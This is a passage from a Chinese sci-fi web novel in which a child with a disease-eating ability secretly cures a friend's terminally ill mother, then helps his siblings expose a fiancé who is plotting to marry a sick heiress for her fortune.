又又还在看着她手里被修复的机甲,惊叹地道:“你好厉害啊!” 女孩耳尖微微发烫。 上次哭着下线被他们看到,再次遇到,她原本很尴尬。 但被又又这样直白地夸奖,只能含糊说道:“还好……” “这个……”又又连忙把手里的小绿递过去,期待地看着她,“可以修复吗?” 女孩拿过来,仔细检查了一遍,点点头:“可以修。” 又又长出了口气:“太好了!” 女孩已经熟练地拿起工具,开始一点点拆开零件。 这时,又又却凑过来,声音又甜又糯:“我叫又又,他是希尔,你叫什么呀?” 女孩手上动作都没停,淡淡道:“谢偌。” “谢偌姐姐!”小幼崽的声音甜甜的,随即又小心翼翼地问道,“上次比赛的时候,你是不是很难过?” 谢偌拆零件的动作不由得顿了顿,随即却摇摇头:“我不是因为没有拿到冠军才难过的。” 又又一怔,满脸困惑:“那是为什么呀?” 谢偌却没有说话。 又又急忙道:“你……是有别的不开心的事情吗?你可以告诉我,我会帮你的,嗯……希尔哥哥也会帮你的!” 一旁的希尔跟着点点头:“嗯。” 他并不在意谢偌,但又又愿意帮她,他也愿意。 小幼崽的热忱像是火苗般,掠过谢偌的胸口。 自从母亲生病之后,谢偌已经很久都没有感受到这样纯粹的关心了。 她垂着眼,低低地说道:“我对冠军没什么兴趣,我只是想拿到那笔奖金……” 又又:“奖金?” 谢偌深吸了一口气,声线却不受控制地颤抖:“我……我妈妈患了异能崩坏症,每个月都要吃止疼药缓解疼痛,我……需要赚钱……” 第62章 中央星系,翡翠星区,春音街区。 谢偌取下已经有些磨损的全息头盔。 汗珠顺着她白皙的小脸滑落,洇湿了领口,她却毫不在意地用手背擦掉。 但随即,她便拿起旁边洗的发白的旧毛巾,小心翼翼地擦拭着全息头盔。 等到擦完头盔,她才跳下椅子,轻轻推开里间虚掩的门。 房间里小得惊人。 两张窄窄的床挤在墙边,一张属于她,另一张则躺着日渐枯槁的母亲。 “小偌。” 谢母半靠在床上,声音虚弱,但她的手指却攥着光脑,似乎在记录什么。 谢偌连忙冲上前,将她手里的光脑拿走,急忙道:“妈妈,医生都说了,不许你再用异能!” “没用异能。”谢母咳了两声,无奈道,“只是整理一些机甲维修笔记,或许能换点钱……” “那也不行!”谢偌抿着嘴,眼眶通红。 她怎么会不知道母亲这么做的原因,母亲是怕自己熬不过去了,所以尽可能地给她多留下一些东西。 谢母看着女儿绷紧的小脸,心中不可抑制地再次生出愧疚。 她原本在一家机甲公司的后勤工作,但自从患了异能崩坏症之后,就被公司辞退了。 她无法动用异能,身体也因为异能崩坏的疼痛,慢慢变得虚弱,家中的积蓄也都拿来买药了,现在全家的生计都压在女儿单薄的肩膀上。 但即便如此,谢偌还是想尽一切办法,赚钱给她买药。 而她也一次又一次地从那极致的疼痛中熬过来,努力地为了女儿活下去。 她咽下喉间的酸涩,用尽全身力气挤出温柔的笑:“今天看你高兴的样子,是在星网遇到什么好事情了吗?” “嗯嗯。”谢偌挨着妈妈坐下,像个普通小女孩一般,雀跃地说道,“我交到新朋友了,他们一个叫又又,一个叫希尔……” 自从妈妈确诊那天起,亲戚们的冷言冷语就没有断过。 谁都知道,异能崩坏症是绝症,吃药只能缓解,不能治愈。 而应对异能崩坏症的止疼药无比昂贵,几乎是个无底洞。 母女俩花完了所有积蓄,搬来了更便宜的春音街区,也几乎和原来的亲戚朋友断了联系。 谢偌已经很坚强了,但还是会不可避免地感觉到了孤单。 因而,好不容易交到好朋友,她简直有着说不完的话。 谢母只是温柔地看着她,伸手捋了捋她汗湿的头发。 谢偌把脸埋在母亲的肩膀处,声音闷闷道:“又又说,妈妈的病一定会好起来的!” 虽然知道是安慰,但这对于一直苦苦支撑的谢偌来说,却像是裂缝中照下的阳光,珍贵又温暖。 “对了!”她忽然直起身体,眼睛重新亮起来,“我今天帮人拼了三个机甲,还修复了两个机甲,再攒一攒,就可以给你买止疼药了……” 她话音未落,谢母原本半倚的身体骤然弓起,枯瘦的手死死地揪住衣襟,指节因为用力而泛白。 她面目狰狞,瞳孔涣散,额角青筋暴起,顺着太阳穴一路蔓延到了脖颈。 “妈妈!” 谢偌只愣了一瞬,身体便已先于理智冲上前,紧紧抱住母亲颤抖的身体,不断用手轻抚她被冷汗浸湿的脊背。 谢母已经不是第一次病发了。 而每一次病发,都是离死亡更近一步。 谢偌强忍着恐惧,一直呼唤着妈妈。 眼泪却不听话地落了下来,砸在母亲嶙峋的肩胛骨上。 疼痛像是千万根烧红的针,啃噬着谢母的神经。 她觉得自己仿佛要被撕成碎片,死亡的诱惑从未如此清晰。 但下一秒。 滚烫的泪水落在她的皮肤上。 她涣散的意识被这温度拽回一丝清明,想到女儿还在自己身边,竟又硬生生地熬了过去。 不知道过了多久,谢母绷紧的身体渐渐瘫软下来,脸色苍白,胸口更是只剩微弱的起伏。 谢偌抱着她,吓得大哭:“妈妈,你怎么样了?你别吓我……” 谢母费力地抬起手,颤抖的指尖轻轻拂过女儿满是泪痕的脸,缓缓开口道:“妈妈在……别怕……” 就算为了女儿,她也会一直撑下去的- 与此同时,从星网下来的又又却是心事重重的。 希尔看到小幼崽恹恹的,连头顶的呆毛都耷拉下来了,心里也跟着闷闷的。 他心念微动。 身旁的空气波动,竟是难得将精神体银狼给放了出来。 巨大优雅的银狼悄无声息地出现在他们身边,垂下头用鼻尖轻轻地蹭着又又,喉咙里发出担忧的咕噜声。 然而,又又却不像从前那样,一看到它就扑到它背上去玩耍,只是心不在焉地摸了摸它的毛发,目光仍旧看着窗外沉沉的暮色。 希尔眉头微皱,走上前轻轻拉住他。 又又疑惑地回头:“希尔哥哥,怎么了?” 希尔的紫眸定定地注视着他,带着几分郑重:“我……听又又的。” 又又一怔。 希尔这样没头没尾的一句话,又又却瞬间明白了他的意思。 希尔哥哥的意思是,不管自己做什么,他都会听他的,会一直站在他身边。 被人这样无条件地支持着,小幼崽心口堵着的东西仿佛忽然就化了,暖意顺着四肢蔓延开来。 他轻轻地晃了晃希尔的手臂:“谢谢你,希尔哥哥。” 希尔见他眉目间的沉郁散去,似乎也跟着轻松了起来:“不谢。” 在他这里,又又永远都不需要说谢谢。 被希尔鼓励后,又又很快便振作起来。 等到吃完晚饭后,他就偷偷摸摸地钻进三哥的房间。 刚推开门,就被01注意到了:“又又小少爷,晚上好~” 又又弯着眉眼,也认真地跟它打招呼:“01晚上好~” 01的电子眼眨了眨,用一板一眼的机械音说道:“又又小少爷,我察觉到您似乎有些焦虑,喝热牛奶能缓解焦虑,帮助睡眠,三分钟后,将为您送达。” “诶……” 又又还来不及说话,01便已经离开了房间,朝着厨房而去。 江见微原本在改装一个光脑,闻言立即侧过头:“焦虑?又又怎么了?” 又又见三哥朝他伸出手,便蹭蹭蹭跑过去,爬到他身上,有点迟疑地说道:“三哥,你能帮我在星网查一个人吗?” “查人?”江见微有些惊讶,随即沉下脸色,“是有人欺负你吗?” “没有没有。”又又连忙摆手,生怕三哥冲到星网上去给他报仇。 “不是欺负你,那要查他做什么?”江见微忽然想到了什么,皱起眉头,“难道是给希尔报仇?” 又又:“……” 不是,三哥脑子里怎么就只有报仇这一件事吗? 小幼崽不得不拉回三哥奔腾的想象力:“是这样的,我在星网上认识了一个朋友,她叫做谢偌……” 又又将谢偌为了赚钱给妈妈治病的事情都说了出来。 “三哥,我想要帮帮她。”小幼崽祈求地看着江见微。 江见微看着他澄澈的双眼,有些无奈,却不得不说道:“又又,你的能力太过罕见,而且那些世家一直盯着我们,一旦被他们知道,会很危险的……” “不会被别人知道的。”又又连忙摆手,“我们找到地方,偷偷过去,治好了就回来,不会被人发现的。” 江见微却还在迟疑:“可是……” 但随即,两人便听见门口传来江昭晏的声音:“什么不会被人发现?你们俩鬼鬼祟祟的想干嘛?” 两人倏地转过头,就见江昭晏斜倚在门框上,双手抱胸,挑眉看着两人。 “二姐!”又又撅起嘴,“你怎么偷听我们说话?” 江见微也帮腔:“就是,你才鬼鬼祟祟……” “偷听?”江昭晏没好气道,“明明是你们没有关门。” 两人这才发现,01出门去热牛奶,忘记把门关上了。 理亏的两人顿时蔫了。 江昭晏却走进来:“又又跟老三有什么小秘密,姐姐不能听吗?” 又又有点迟疑。 倒不是他故意瞒着姐姐,实在是大哥和二姐把他的安全看得比什么都重要,要是被他们知道,自己想要去偷偷给别人治疗,肯定是不会同意的。 就在他想着,找个什么借口把姐姐骗过去。 谁知,江昭晏却像是看穿了他的想法似的,声音凉飕飕的:“所以,又又是又想要治什么人吗?” 又又:“!!!” 他惊恐地捂着嘴巴,“姐姐怎么知道的!” 江见微扶额。 小笨蛋这叫一个不打自招。 “你那点小心思,当我瞎吗?”江昭晏冷哼一声,捏了捏小幼崽的脸蛋,“说说吧,发生了什么事情?” 既然已经被姐姐发现了,又又便也只能老老实实地把事情经过说出来。 “谢偌姐姐真的很可怜,姐姐,我们帮帮她吧!” 小幼崽眼巴巴地看着她。 江昭晏揉了揉额头,忍不住道:“又又,这世上可怜的人很多,你不可能每个人都救下来的……” “我知道呀。” 作为食病兽,他早就知道,他救不了所有人。 “可是,我看到了。”又又抿着唇,声音小却很坚定,“我看到了,我也可以救,为什么不救呢?” 江昭晏怔住了。 她向来知道又又善良心软,既担心他被人利用,又担心他会被现实所伤。 然而,小幼崽的通透却远远超过他们的想象。 他并不是盲目的圣父。 他只是看清了苦难,却依然选择伸手帮助别人。 最终,江昭晏无奈地叹口气:“就算要帮,也不是这样帮的!” 又又愣了一下,随即眼前一亮:“姐姐是同意了吗!” “同意个头!”江昭晏戳了一下又又白皙的脑门,没好气道,“这么重要的事情,你们打算瞒着江从谦?” 两人无辜地看着她。 江昭晏:“……” 她冷笑一声,“可别说我没提醒你们,这要让老大知道,会是什么下场!” 又又立刻扑上去,抱住姐姐的一条胳膊,甜腻腻地撒娇:“二姐,你最好啦!你肯定不会看着我跟三哥受罚的对不对?” 他一边撒娇,一边也示意江见微跟上。 江见微:“……” 他咬着牙,不情不愿地扯了扯江昭晏的另一只袖子:“姐……姐,求你了。” 江昭晏打了个寒颤,立刻抽回袖子:“行了行了,知道了,快别恶心我了!” 江见微咬牙:“江昭晏!” 江昭晏凉凉地瞥了他一眼。 被血脉压制的老三只能又憋屈地补上最后那个字:“……姐。” 又又忍不住捂着嘴偷笑。 三哥真的好怂哦。 等01把牛奶端来,让又又喝完后,没有心理负担的小幼崽很快就睡得人事不知。 只剩下愁秃了头的哥哥姐姐,正在面面相觑。 为了让又又安心,两人接下了去跟江从谦解释的重任。 书房里,江从谦正在处理公事,见到两人缩着肩膀进来,只是抬了抬眼镜:“有事?” 江昭晏和江见微互相对视一眼。 眼神交流间,全都是“你去”“还是你去”的推诿,谁都不想当头承受江从谦的怒火。 最终,还是江昭晏一咬牙。 想着伸头一刀,缩头也是一刀,闭着眼睛把前因后果都说了一通。 谁知,江从谦听完,却只是淡淡道:“知道了。” 两人都愣了。 反应这么平淡? 倒是江昭晏有些不得劲了:“你就不怕又又有危险?” “知道有危险,你们还纵着他?”江从谦反问。 两人顿时老实地闭上了嘴。 江从谦站起身,声音凉凉的:“你不会以为,我最近就真的在家养病,什么都没做吧?” “啊?” 江从谦敲了敲桌面上一堆资料,竟是蒂奢星区的事故调查报告。 自从蒂奢星区,不对,或许从更早以前,他就已经意识到了。 小幼崽就是看不得别人受苦,只要看到了,就忍不住去救人。 如果保护他,就是要折断他的翅膀,那这样的保护有什么意义? “以又又的性格,他真想要救人,谁能拦得住?”江从谦嘴上这么说着,唇角却不自觉微微翘起,“与其让他偷偷摸摸去涉险,倒不如我们光明正大地护着。” 江见微却已经意识到了什么:“你的意思是……” “你们陪着又又,多带几个近卫,保护好他。”江从谦看向他们,声音沉稳,“至于其他的,就交给我吧。”- 在江见微的异能下,他们很快就找到了谢偌的地址。 江从谦确认对方没有问题之后,又又便在哥哥姐姐的保护下,坐上了去往翡翠星区的公共舰。 这还是小幼崽第一次坐公共舰。 比起大哥的九壤号,和第七军团的军舰,公共舰会小一些,舱房也比较小,悬浮屏上全都是各种各样的广告。 又又像是乡巴佬进城一般,兴奋地拉着哥哥姐姐在各个区域转悠,连舰上售卖的难吃的营养液都要买来尝尝看。 不止如此,他还“咔嚓咔嚓”拍个不停,得意洋洋地说道:“希尔哥哥肯定没有见过公共舰,我要拍给他看!” 哥哥姐姐:“……” 行吧,崽高兴就好。 不过,在最初的兴奋过后,对谢偌的担忧又漫了上来。 这两天他登录星网,都没有再看到谢偌,她在改造区的摊位也是空荡荡的。 也不知道,她是有事在忙,所以没时间上星网。 还是,她妈妈的病变重了…… 小幼崽在心里叹了口气,趴在舷窗上,恨不得公共舰能更快一些。 翡翠星区是中央星系比较小的星区,也只有一颗宜居星球,离蔚蓝星区只有一天的路程。 等到了停泊港,已经是第二天了。 小幼崽踩在停泊港的地面,打了个大大的哈欠,但整个人还是晕晕乎乎的。 江昭晏见状,便道:“又又,不然我们先去休息一下,然后再去找你的谢偌姐姐,好不好?” 又又连连摇头:“我没事,我不困!” 他努力忍着困倦的眼泪,强撑道,“我们先去找谢偌姐姐的家!” 江昭晏和江见微有些无奈,但在又又的坚持下,也只能答应。 他们租了一辆悬浮车,很快就顺着导航来到了春音街区。 春音街区是翡翠星区的贫民区,灰尘多,环境差。 又又被姐姐抱在怀里,才走了一会,白嫩的小脸就变得灰扑扑的。 原来谢偌姐姐就住在这样的地方吗? 又又心里有点沉重。 谢偌她们住在春音街区的一个角落。 是一间破旧老房的顶楼,房间也是小小的,窗户透出晕黄的光。 江昭晏让人去打听了一下母女俩的消息。 她们搬到这里已经半年了,谢母身体虚弱,家里全靠谢偌支撑。 这里的街坊知道她们家的情况后,都很同情这对母女,给谢偌介绍了一份工作。 谢偌每天工作完,才会去星网做点副业赚钱。 不过,自从那天谢母病发后,谢偌似乎被吓到了,拼了命地想要赚钱。 她又额外再找了一份工作,把时间填的满满的,要深夜才能回家,自然也就没时间再去星网了。 知道谢偌姐姐没事,又又松了口气。 可是想到她的妈妈发病了,他又忍不住担心。 江昭晏知道小幼崽的心思,不再劝他。 她抱着又又,轻巧地跃到了楼顶,来到谢偌家门前。 房门的边角已经生锈了,上面的门锁也不是安全的电子锁,而是古老的实体锁。 江昭晏的手按在上面,催动异能,将锁打开,轻轻地推开门。 门发出“吱呀”一声。 又又紧张地抱紧了姐姐的脖子,目光不住地打量着眼前的景象。 客厅很小,头顶亮着一盏昏黄的小灯。 光线勉强照亮了墙角的桌子,桌上摆着一张母女合照,年轻的谢母温婉地笑着,小小的谢偌一头短发,被妈妈抱在怀里,手里还举着一个机甲模型,看起来很温馨。 而房间虽然旧,却也收拾得干干净净的。 又又扯了扯姐姐的袖子,指了指虚掩的卧室门。 江昭晏会意,轻轻地推开门。 客厅的灯光泄露一线,照出了床上隆起的瘦弱身影。 又又让姐姐等在门口,自己则蹑手蹑脚走进去。 月光透过窗户洒进房间,照出谢母苍白瘦削的脸,和照片上简直不像一个人,只能从眉眼间依稀看出曾经的温婉美丽。 但在又又眼中,她的身上缠绕着青灰色的病气,像是无数条冰冷的蛇,正在一寸寸吞噬她的生机。 不能再等了! 又又深吸一口气,毫不犹豫地伸出手掌,覆盖在谢母的身体上方。 掌心似乎浮现出了小小的漩涡,丝丝缕缕的病气顺着他的掌心被吸收。 又又已经无心去体会病气的味道,只是专心地关注着谢母身上的每一缕病气,确保没有漏网之鱼。 而随着病气不断被吸走,谢母的呼吸渐渐平稳,脸色似乎也有了血色。 此时,她的睫毛微微眨动,似乎察觉到了眼前的人影,下意识道:“小偌?” 又又吓了一大跳,转身就跑。 谁知跑的太急,“咚”地撞在了床柱上。 疼得他眼眶一红,眼泪差点掉下来:“痛……” 谢母立刻意识到不对劲,猛然起身:“是谁?!” 又又立刻捂住嘴,忍着痛跑出去。 谢母只能看到一个栗色卷发的脑袋,以及一闪而过的,含着泪的绿眸。 又又刚跑出房间,江昭晏便眼疾手快地捞起他,毫不犹豫地撤到门外。 她掌心异能涌动,将房门带上,并将门锁复原。 等到谢母追出来的时候,房间里空无一人,门锁也是完好如初。 她茫然地站在灯下,只觉得刚刚仿佛在做梦一般。 但是…… 她怔怔地抬起手,她好像……不疼了。 不知过了多久,门锁再次传来响动。 谢母很快回过神,神情警惕,顺手抄起桌上的水果刀。 谁知,房门打开,进来的却是谢偌。 谢偌看着妈妈站在客厅里,有些不可置信地揉了揉眼睛:“妈妈,你……你怎么下床了?” 谢母这才放下水果刀。 “妈妈,怎么了?”谢偌担忧地上前,扶住妈妈,“我先扶你回床上吧。” 谢母迟疑地抓住女儿的手臂:“等等。” 谢偌:“怎么了?” 谢母再次感受了一下身体,有些茫然地说道:“我……的病好像好了。” 谢偌:“?!!!” 第63章 母女俩几乎一晚上没睡着,就怕一醒来发现这是一场梦。 第二天天刚亮,两人便再也等不下去了,出门去拦了一辆悬浮车。 只是谢母并没有选择常去的医院,反而选择了一家陌生的医院。 在等待检查结果的时候,谢偌一直紧紧地握着妈妈的手,无法克制内心忐忑的心情。 好在等待结果的其他人也都是差不多的神情,两人并不显得奇怪。 拿到结果后,两人第一时间便滑到了最后,看到异能崩坏度上显示4.21%,竟然比临界值的5%还要低! 谢偌的手猛然一抖,眼眶瞬间红了。 滚烫的眼泪砸在报告上。 但这次的眼泪却并不是因为苦涩或者疼痛,而是一种终于尘埃落定的喜悦。 等两人回到家,已经是中午了。 谢偌如往常般想要搀扶着妈妈,谢母却反而抓住她的手:“小偌,妈妈已经没事了……” “是、是的!”谢偌其实现在还有些晕乎乎的,没有回过神,她忽然想起了什么,急忙道,“妈妈,昨天到底发生了什么事情?” 明明她出去之前,妈妈还是生着病的,等她回来,妈妈就痊愈了。 谢母微微蹙起眉头:“其实……我也不太清楚。” 自从患病后,她的睡眠就一直不好,需要白天补眠。 当时,她好不容易睡着,迷迷糊糊之际,感觉到自己的身体似乎慢慢变轻,像是泡在温泉里一般舒服。 “我当时感觉身前有个小小的身影,我以为是你回来了,就喊了声小偌,没想到他却转身就跑了……” “跑?”谢偌怔住。 谢母点点头:“是啊,我听见他撞到床柱的声响,这才觉得不对,爬起来去追,但家里一个人都没有,门锁也好好的,我还以为我在做梦……” 谢偌急忙问道:“那妈妈,你还记得他长什么样子吗?” “我只看到了他的背影。”谢母努力回忆着,“看着像是个孩子,头发卷卷的,颜色像是棕色……又或者是金色还是浅栗色……” 在听到谢母说出对方特征的时候,谢偌猛然一怔。 谢母了解女儿,一看到她的表情,便察觉出了什么:“小偌,你是不是认得他?” 谢偌呆呆地抬起头:“妈妈,你还记得我跟你说过,我在星网上认识的新朋友又又吗?” 谢母点点头:“记得,是个很善良很可爱的孩子,难道……” 谢偌连忙打开光脑,从星网上找到又又的头像。 头像上,是抱着蛋壳小鸡的小幼崽,栗色卷发微微翘起,绿眸弯起,笑得开朗又可爱。 谢母凑近屏幕,记忆瞬间像潮水般涌来:“对……是他!我记得这双眼睛……” 谢偌的指尖顿住,眼泪又掉下来了:“呜呜呜,又又之前说,妈妈肯定会痊愈的……我一直以为他只是在安慰我,原来……” 谢母抱着女儿,母女俩相拥而泣。 原来她能痊愈,不是什么上天眷顾,而是因为遇见了贵人。 谢偌吸着鼻子,却还是有些疑惑:“可是……又又为什么要偷偷摸摸地来呢?” 谢母是成年人,比女儿想得要多一些:“异能崩坏症是联邦记录在案的绝症,从来没听说有治愈的病例,又又的能力太罕见了,一旦被别人知道,或许对他来说并不是好事……” 谢偌顿时紧张起来:“妈妈,那我们要怎么做?” “小偌,关于又又的能力,一个字都不能往外说,他不顾安全救了妈妈,我们一定要替他保守这个秘密!!” 谢偌用力地点头:“我知道了,妈妈,不管谁问,我都不会说的!” 谢母欣慰地摸了摸她的头发,柔声道:“小偌,这段时间辛苦你了,妈妈身体好了,很快就能找到工作,到时候你就不会这么累了。” 而且,她也想着多攒一些钱,万一又又哪天需要帮忙,她们也能为他出一份力。 “妈妈,我不累!”谢偌扑进妈妈的怀里。 谢母看着懂事的女儿,心里却是一片酸涩。 但好在她的病好了,以后一定会越来越好的! 谢偌却忽然蹦起来:“我要给又又做个最大最好看的机甲!” 她没有别的可以报答又又的,只能用自己最擅长的,做一份谢礼送给他。 谢母点点头,连忙道:“妈妈也来帮忙!”- 又又还不知道自己已经掉马了。 此刻,他正坐在酒店的床上,额头上肿了个大包,睫毛上还沾着泪珠,抽抽噎噎的,好不可怜。 江昭晏正在拿小型治疗仪给他消肿,又好气又好笑:“没见过你这种小笨蛋,去给别人治疗,结果把自己弄伤了的……” “呜呜呜……”又又更加委屈了,“是床柱先动手的!床柱坏!” “好好好,床柱坏,又又好。”江昭晏看他眼泪汪汪的样子,又不忍心了,结束治疗后,又轻轻地吹了吹,放软了声音,“还痛不痛?” “还有一点点……”小幼崽委屈巴巴地看着她,“要吃一包辣条才能好!” 江昭晏:“……” 这小崽子,故意的吧! 她气得想要弹一下弟弟的脑门,可看着那还有点红肿的额头,便又下不去手了。 又又见姐姐没有立即拒绝,意识到有戏,立刻蹭过去,声音黏黏糊糊的:“姐姐,姐姐……” “真拿你没办法。”江昭晏到底还是心软,偷偷给他拿了一小包。 又又快乐地接过来,谁知刚拿到手,通讯器就响了。 看到上面的“大哥”两个字,小幼崽拿着辣条的手都抖了一下。 惊恐!! 大哥是在他身上装了监控吗?! 好在这次用的是秘密通讯器,只能语音,江从谦看不到小幼崽脸上的表情。 趁着哥哥姐姐说话的功夫,小幼崽揣上那包辣条,偷偷溜出房间。 谁知,他刚走出房间,就迎面撞上了人。 又又没有站稳,一屁股坐在了地上。 而跟他撞上的粉裙女生也摔得不轻。 这时,隔壁房间的房门打开,一个瘦高的男人冲出来,紧张道:“黛拉,你没事吧?” 他小心地扶起粉裙女生,随即恶狠狠地瞪向又又,“哪来的小鬼!走路不长眼睛啊!” 名叫黛拉的粉裙女生脸色苍白,身形瘦弱,却喝止住他:“贾克斯,别这样……” 她吃力地站起来,裙摆沾了灰也顾不上,反而蹲下来温柔地扶起小幼崽:“小朋友,你没事吧?” 酒店地毯很厚,又又没有受伤,只是有点被吓到了。 他摇摇头:“我没事,姐姐你疼不疼?” “姐姐也没事。”黛拉替他拍掉身上的灰尘,又关心道,“你怎么一个人跑出来,家里人会担心的,快回去吧……” 她话还没说完,贾克斯便不耐烦道:“黛拉,我们要出发了,别跟这小屁孩浪费时间了。” “贾克斯!”黛拉皱起眉头,苍白的脸上浮起几分不悦。 又又却突然凑近了一些,看到黛拉身上几缕深红色的病气,忍不住好奇地吃了一口。 咦!居然是没有吃过的味道! 小幼崽眼睛一亮,正想继续再尝尝。 但贾克斯却已经拉住了黛拉,语气放软:“你别生气,我只是太担心你了,而且车已经在等了,我们快走吧……” 黛拉还想说什么,却已经被他半哄半抱地带走了。 又又眼睁睁看着新口味离自己远去,郁闷得不行,甚至连辣条都觉得索然无味了。 回到房间后,江昭晏的通讯刚好结束。 小幼崽自以为自己溜得神不知鬼不觉,却不知道他的一举一动都在姐姐眼中。 只是江昭晏也没想到,吃完辣条的小幼崽居然还是蔫蔫的,她走上前,揉了揉他的头发:“怎么啦?辣条不好吃?” “不是……” 江昭晏见他确实没什么事,便接着道:“好了,人也救了,辣条也吃了,今天休息一晚,我们明天就要回去了。” “知道啦!”又又虽然还惦记着黛拉身上的新口味病气,但姐姐这么一说,还是乖乖地应了。 倒是江昭晏看他蔫蔫的模样,想到小幼崽辛苦地赶到翡翠星区,没休息就去给人治疗,还给自己撞了个大包,但也没哭没闹,一包辣条就哄好了。 这乖巧懂事的样子,让她越想越心疼。 江昭晏在心里叹口气,牵起又又的手:“姐姐带你去买玩具好不好?” 江昭晏带着小幼崽直接来了翡翠星区最大的商场,豪气地一挥手:“尽管挑,姐姐买单!” “好耶!姐姐好棒!” 又又欢呼着冲进了玩具店,把之前的郁闷瞬间抛到了九霄云外。 然而,等他抱着玩具走出店门的时候,却忽然看到对面有个熟悉的身影。 “是他!” 又又瞪大了眼睛,正要拉着姐姐过去,却又迟疑了,“不对……” 江昭晏被小幼崽弄得纳闷,忍不住问:“怎么了?” 她顺着又又的目光看去,却见到一个瘦高的男人,正搂着一名孕妇。 想到又又平常的关注点,江昭晏迟疑道,“难道……他有病?” “不是他。”又又摇摇头,却又更困惑了,“我中午看到他跟一个生病的姐姐在一起,不是这个姐姐。” 江昭晏一听,顿时意识到了什么,声音冷下来:“这男的脚踩两条船?!” “什么叫脚踩两条船?”又又好奇地问道。 江昭晏:“……” “这不是好话,小朋友不需要知道。”她拿出光脑,迅速给他们拍了几张照片。 又又虽然不明白,却也能从姐姐的表情中看出来,这个名叫贾克斯的男人,在做着对黛拉姐姐不好的事情。 于是他拉了拉姐姐的袖子,小声道:“姐姐,我们偷偷跟上去吧,看看他要做什么坏事!” 江昭晏犹豫了一下。 他们明天就要离开,按理此时不应该再节外生枝。 可是,心中的正义感却让她无法坐视不理,她一咬牙:“好!” 说着,她就将又又抱在怀里,利用异能,轻巧地跟了上去。 贾克斯正搂着购完物的女人走出商场,全然没有注意到身后的影子。 女人不满地嘟囔:“……才陪我逛这么一会就急着回去,又是为了黛拉!” “哎呀宝贝!黛拉那边正关键呢!”贾克斯不耐烦地捏了捏她的脸,眼底浮起贪婪的光,“她那病越来越严重了,只要我跟她结婚,她一死,她家的公司,还有她的钱不就都到我兜里了,到时候你想要什么我都给你买!” “可她还没答应嫁给你呢!”女人皱起眉,“到底行不行啊?” “那女人戒心太重了。”贾克斯得意地晃了晃手指,“不过你放心,我已经想到办法了,这次肯定会让她答应的!” …… 眼看两人接下来的话越发不堪入耳,江昭晏连忙堵住小幼崽的耳朵。 但她还是愤怒地看着贾克斯的背影。 渣男!!! 好在她刚刚不仅拍下了照片,还录了音。 到时把这证据放到黛拉面前,就不信渣男还会抵赖。 可等他们匆匆赶回酒店,才发现,黛拉他们中午就已经退房了。 江昭晏后悔不已,早知道不如一直跟着贾克斯,他总会去找黛拉的。 两人都郁闷地走回房间。 江见微正巧过来找他们,见状都愣了:“这是怎么了?” 江昭晏心里还郁闷着,没好气道:“渣男!” 小幼崽也握紧小拳头,跟着姐姐说道:“渣男!” 江见微:“???” 等等! 我只是抽空上星网打了会游戏,怎么就变成渣男了啊!- 直到第二天上了回蔚蓝星区的公共舰,江昭晏和又又都还垂头丧气的。 不过等到两人进入舰体后,江昭晏却忽然一愣:“又又,你看!” 又又好奇地看过去,却见前方排队的正是黛拉和贾克斯。!!! 小幼崽立刻挣开姐姐的手,跑上前去:“黛拉姐姐!” 谁知,黛拉却茫然地看着他:“小朋友,你怎么知道我的名字,你认识我吗?” 又又愣住了。 而一旁的贾克斯却是敷衍道:“应该是认错人了,黛拉,我们走吧。” 黛拉歉意地看了眼又又,却还是跟着贾克斯离开了。 这明明是黛拉姐姐啊! 他们昨天才见过面,她怎么会不认识自己呢? 贾克斯搂着黛拉,很快就消失在了人群中。 江昭晏也江见微也赶了上来。 又又看向姐姐,有点小委屈:“黛拉姐姐不认识我了!” 他本来还想趁机告诉她,她旁边那个人是个坏蛋,想要害她的! 江昭晏安慰地摸了摸小幼崽的头发:“没事的,她可能只是记性不好,我们还是可以帮她的。” 江见微见他们俩说着自己听不懂的话,有些莫名地问道:“这人是谁啊?你们认识?” 江昭晏这才将昨天找渣男的事情告诉他。 江见微听完,脸色也冷了下来。 对于这种人渣,他也是深恶痛绝:“带我一个!” 江见微放出了几只昆虫无人机,并且用异能帮忙掩饰,悄无声息地落在了贾克斯和黛拉的附近。 昆虫无人机拍摄的画面中,贾克斯对黛拉,那叫一个温声细语,关怀备至。 如果不是他们昨天亲眼看到他的真面目,还真会被他骗了。 不过他们并没有打草惊蛇。 毕竟昨天贾克斯说有办法让黛拉答应结婚,谁知道他准备了什么阴招,万一戳穿他,让他狗急跳墙,伤害黛拉怎么办? 又又用力地点点头:“是啊,黛拉姐姐还生着病呢!” “生病?”江见微却忽然想到了什么,在光脑中查询,“找到了!” 他将页面展现在江昭晏和又又面前。 “睡美人症?” 江见微点点头:“这是一种很罕见的异能病,患者每隔一段时间就会晕倒,醒来后就会忘记晕倒之前发生的事情……” 江昭晏气得一拍桌子:“原来如此!难怪那个渣男那么有恃无恐!” 而就在这时,他们发现贾克斯扶着黛拉去了观景台。 三人也立刻跟了上去。 观景台是需要额外花星币解锁的,巨大的舷窗外,是瑰丽而炫目的星云。 不过三人此刻无心风景,都在盯着贾克斯。 贾克斯选了临窗的最好的位置,黛拉靠着软枕,望着舷窗外的景色出神。 贾克斯握着她的手,温柔地说道:“黛拉,我真的很爱你,让我照顾你吧。” 黛拉有些犹豫。 其实贾克斯对她很好,她也很爱对方,但不知道为什么,贾克斯求婚的时候,她却鬼使神差地拒绝了。 这时,舷窗外经过一片湛蓝的星云。 亿万星尘如同海浪般潮起潮落,将舷窗都映成了一片梦幻的蓝。 贾克斯忽然单膝跪下,深情地看着黛拉:“黛拉,这里就是永恒之海,当年你的父母就是在这片星云下定情的,我知道你一直很想来这里看看。” 黛拉愣住了:“所以,你带我从翡翠星区来蔚蓝星区,就是为了看永恒之海?” 贾克斯掏出戒指:“黛拉,我知道你向往你父母的爱情,所以嫁给我吧,以后的我们也会像你父母那样恩爱一生。” 旁边围观的乘客也纷纷起哄。 “真浪漫啊!好羡慕啊!” “他这么用心,肯定很爱你,答应他吧!” “嫁给他!!” 黛拉果然动摇了。 江昭晏却是再也等不下去了,直接跳出来:“不行!” “什么狗屁浪漫!”她冷笑道,“谋夺家产,脚踏两条船吗?” 贾克斯神情顿时一变。 黛拉也怔了:“什……什么意思?” 贾克斯挂起虚伪的假笑:“这位小姐,你说话要讲证据!” “证据是吗?”江昭晏拿出光脑,摆在他们面前。 黛拉看着照片中,抱着别的女人的男友,又听见录音里贾克斯洋洋得意的声音:“只要我跟她结婚,她一死,她家的公司,还有她的钱不就都到我兜里了……” 她的脸色瞬间变得惨白。 周围乘客亦是一片哗然,谁能想到刚刚还在深情求婚的男人,竟然是这样一个渣男! 